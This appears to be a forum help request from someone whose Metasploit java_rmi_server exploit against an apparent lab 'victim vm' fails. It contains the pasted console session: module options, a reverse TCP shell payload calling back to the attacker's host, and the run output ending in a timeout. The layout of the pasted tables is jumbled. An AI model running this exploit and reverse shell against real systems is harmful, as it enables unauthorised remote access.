I get an exploitation error below. I can ping victim vm everything
looks fine.

Thank you for your help.

msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

Name Current Setting Required Description —-
————— ——– ———– HTTPDELAY 10 yes Time that the HTTP Server will wait for the payload request
RHOSTS 192.168.1.105 yes The target host(s), see
https://github.com/rapid7/metasploit-framework/
wiki/Using-Metasploit RPORT 1099 yes The target port (TCP) SRVHOST
192.168.1.107 yes The local host or network interface to listen on. This must be an addre
ss on the local machine or 0.0.0.0 to listen on all addresses. SRVPORT 8080 yes The local port to listen on. SSL false no
Negotiate SSL for incoming connections SSLCert
no Path to a custom SSL certificate (default is randomly
generated) URIPATH no The URI to use for
this exploit (default is random)

Payload options (java/shell/reverse_tcp):

Name Current Setting Required Description —-
————— ——– ———– LHOST 192.168.1.107 yes The listen address (an interface may be specified) LPORT 4444
yes The listen port

Exploit target:

Id Name — —- 0 Generic (Java Payload)

msf6 exploit(multi/misc/java_rmi_server) > exploit

[] Started reverse TCP handler on 192.168.1.107:4444 []
192.168.1.105:1099 – Using URL: http://192.168.1.107:8080/MFfPKYOzZJ [] 192.168.1.105:1099 – Server started. [] 192.168.1.105:1099 –
Sending RMI Header… [] 192.168.1.105:1099 – Sending RMI Call… [-]
192.168.1.105:1099 – Exploit failed: RuntimeError Timeout HTTPDELAY expired and the HTTP Server didn’t get a payload request []
192.168.1.105:1099 – Server stopped. [*] Exploit completed, but no session was created. msf6 exploit(multi/misc/java_rmi_server) >
sessions

Active sessions

No active sessions.

msf6 exploit(multi/misc/java_rmi_server) >